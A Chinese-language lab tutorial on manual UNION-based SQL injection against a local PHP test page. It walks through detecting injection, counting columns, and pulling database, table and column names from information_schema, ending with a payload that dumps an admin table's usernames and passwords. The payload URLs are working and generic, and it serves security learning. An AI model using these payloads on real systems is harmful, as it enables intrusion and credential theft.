Mysql 联合查询手工注入详解

0x00 演示环境

Windows 7 64位旗舰版
PHPStudy
测试环境:Download
Navicat:Download
代码编辑器(我用的Sublime Text3,也可以用Vscode或者notepad++等,具体资源可在网上找)

以下配置步骤比较详细,大佬请直接跳过,导入数据库,编辑代码连接信息即可
安装好PHPStudy后,将测试环境解压,sql.php置于phpstudy目录下的WWW文件夹内

WWW

然后使用Navicat连接本地数据库(PHPStudy默认账号为root,密码root)
1

2

配置好之后点击连接测试
连接测试

显示连接成功后点击确定保存连接
然后新建一个数据库
新建数据库

新建数据库

然后确定,保存数据库
接下来导入压缩包内的cms.sql
首先双击刚才建立的cms数据库,右击数据库,运行SQL文件
导入数据库

选择压缩包内的cms.sql
image.png

点击开始,导入数据库
显示successfully后导入成功
image.png

然后使用代码编辑器修改WWW目录下的sql.php
sql.php

保存,访问http://127.0.0.1/sql.php?id=1
view

测试环境搭建成功

0x01 基础知识

SQL语法

1.查询

SELECT 字段名 FROM 表名

多个字段名的时候用逗号隔开

SELECT id,name,pass FROM user

*可以表示全部字段

SELECT * FROM user

2.WHERE 限定查询条件

/* 格式 */
SELECT * FROM 表名 WHERE 字段名 运算符 值
/* 示例 */
SELECT 字段名 FROM user WHERE id=1
SELECT 字段名 FROM user WHERE name='admin'
SELECT 字段名 FROM user WHERE id=1 And name='admin'

3.And 和 Or运算符
在WHERE具有多个限定条件时,可以用And或Or表示多个条件之间的关系,其中And表示两个条件都具备,Or表示其中一个具备即可

/* 查询user表中id为1并且name为admin的记录 */
SELECT * FROM user WHERE id=1 and name='admin'
/* 查询user表中id为1或者name为admin的记录 */
SELECT * FROM user WHERE id=1 or name='admin'

4.联合查询

SELECT 字段名 FROM 表一 UNION SELECT 字段名 FROM 表二

联合查询中同样可以使用WHERE限定查询条件
注意:UNION联合查询时,前后两个SELECT查询的字段个数需保持一致,否则会报错

基础语法就简单介绍这么多,更多详细介绍可前往W3SCHOOL了解

SQL SELECT
SQL WHERE
SQL AND & OR运算符
SQL ORDER BY
SQL UNION

0x02 联合查询注入

首先访问http://127.0.0.1/sql.php?id=1

sql.php

可以看到连接中有个参数id,值为1,页面上显示的Title为user1,内容为test
这里为了方便理解,我将最终执行的sql命令用红色字体输出在页面上
然后将id的值改为2,http://127.0.0.1/sql.php?id=2
id=2

当id值为2时,Title值为user2,内容为test
这里发现页面的内容是通过参数id来控制

判断是否存在注入点及注入类型

然后我们在参数id的值后面加上一个单引号

sql.php?id=1'
image.png

发现页面显示false
这里是因为我们将单引号带入参数的值中,破坏了sql语句的结构,引号没有闭合完整,导致执行失败,可以看到执行的sql命令为

SELECT * FROM user where id=1'

当然,在实际环境中不能通过一个单引号来判断已经存在注入
可能页面检测到敏感字符就报错提示,或者其他原因
所以需要再用and运算符来进行验证
我们先代入' and '1'='1

sql.php?id=1' and '1'='1
image.png

发现页面还是报错,这里是因为这个地方是整型注入而不是字符型注入
在字符型注入的时候,我们需要先用一个单引号(或者双引号)来闭合字符串
在整型注入的时候,我们不需要对前面的值进行闭合

/* 字符型 */
SELECT * FROM user WHERE id='1'
/* 整型 */
SELECT * FROM user WHERE id=1

这里是整型,所以我们代入and 1=1

sql.php?id=1 and 1=1
and 1=1

发现页面跟id=1时一样,这是因为and后面的表达式1=1是恒成立,所以不会对结果造成影响
在这种情况下,我们还是不能判断这里存在注入点
现实环境中可能会对我们的payload and 1=1进行过滤,而没有带入sql语句中执行
所以还需要通过and 1=2来验证

sql.php?id=1 and 1=2
and 1=2

这个时候页面没有报错,但是没有值了
这是因为and后面的表达式1=2恒不成立,所以查询到的结果为空,页面上也就没有值

这个时候我们可以判定参数id存在一个整型的注入

判断参数个数

当我们需要使用union去查询其他表(比如管理员表)的时候,前面也说了,需要保持union查询的字段个数一致,所以需要先知道当前语句返回的字段个数是多少

sql.php?id=1 union select 1
sql.php?id=1 union select 1,2
sql.php?id=1 union select 1,2,3

在带入select 1和select 1,2时,由于union前后查询的字段个数不一致,导致语句执行出错,所以页面输出false


false

当代入select 1,2,3时,union前后查询的字段个数一致,所以页面输出正常


true

所以可以通过union select 判断字段个数为3个

同样,可以通过order by的方式判断字段个数

order by具体可参考上文链接

在order by 字段个数不大于查询字段个数时,语句会正常执行,当字段个数大于查询字段个数时,语句会报错

sql.php?id=1 order by 1
sql.php?id=1 order by 1,2
sql.php?id=1 order by 1,2,3
sql.php?id=1 order by 1,2,3,4

当代入order by 1和order by 1,2和order by 1,2,3时,语句正常执行,页面正常显示


order by

当代入order by 1,2,3,4时,字段个数超出查询字段个数,语句执行报错,页面返回false


order by

由此可通过order by 判断查询字段个数为3个

判断输出参数的位置

由于查询的参数不一定输出在页面中,所以需要判断哪个参数在页面中输出

由于有的页面只取查询到的第一条记录输出,而正常的参数是可以查到数据的,所以需要修改参数,让union之前的查询无法返回结果

sql.php?id=-1
sql.php?id=0
sql.php?id=1 and 1=2
……

思路很多,总之让前面的查询不到就可以
然后再代入union select 1,2,3看看哪个数字输出在页面中


image.png

可以看到2和3输出在页面中,就可以确定这两个参数会输出

0x03 获取数据

剩下的就简单了,通过sql命令想查询的数据放到输出的参数位置上,具体含义学习一波mysql 命令就可以了

获取当前数据库名称
sql.php?id=0 union select 1,database(),3 
image.png

当前库名为test

获取表名

表名获取有两种办法,一种是通过information_schema库中的记录查找,另一种是通过表名字典猜测

先介绍一下mysql中的information_schema库

information_schema是MySQL自带的一个信息数据库,其保存着关于MySQL服务器所维护的所有其他数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。
也就是说当你建立一个新的数据库,或者在已有的数据库中增删改表的话,都会记录在information_schema库中。

我们需要的表名就存储在information_schema库中的TABLES表中,其中TABLE_SCHEMA字段记录该表名属于哪个数据库,TABLE_NAME记录表名名称


image.png

这样就可以通过以下命令查询指定数据库的所有表名

select table_name from information_schema.tables where table_schema='库名';
image.png

根据命令构造注入payload

sql.php?id=0 union select 1,table_name,3 from information_schema.tables where table_schema='test'
image.png

命令行下查到两个表,但页面只输出一个表名

这是由于当前页面只输出查询到的第一条记录,这个时候可以通过limit 来限定查询到记录的起始位置,也可以通过GROUP_CONCAT()将多条记录合并为一条

sql.php?id=0 union select 1,table_name,3 from information_schema.tables where table_schema='test' limit 0,1
sql.php?id=0 union select 1,table_name,3 from information_schema.tables where table_schema='test' limit 1,1
image.png

image.png
sql.php?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='test'
image.png
获取字段名

获取到表名后,由于不清楚该表有几个字段,所以不能直接去查询全部字段,可以通过information_schema库中的COLUMNS表来查询该表中的字段名,其中COLUMN_NAME就是字段名


image.png
sql.php?id=0 union select 1,column_name,3 from information_schema.columns where table_schema='test' and table_name='admin'
sql.php?id=0 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='test' and table_name='admin'
image.png

image.png
获取数据

剩下的就简单了,通过构造select查询语句去返回该字段具体内容即可

sql.php?id=0 union select 1,user,pass from admin
image.png

你可能感兴趣的:(Mysql 联合查询手工注入详解)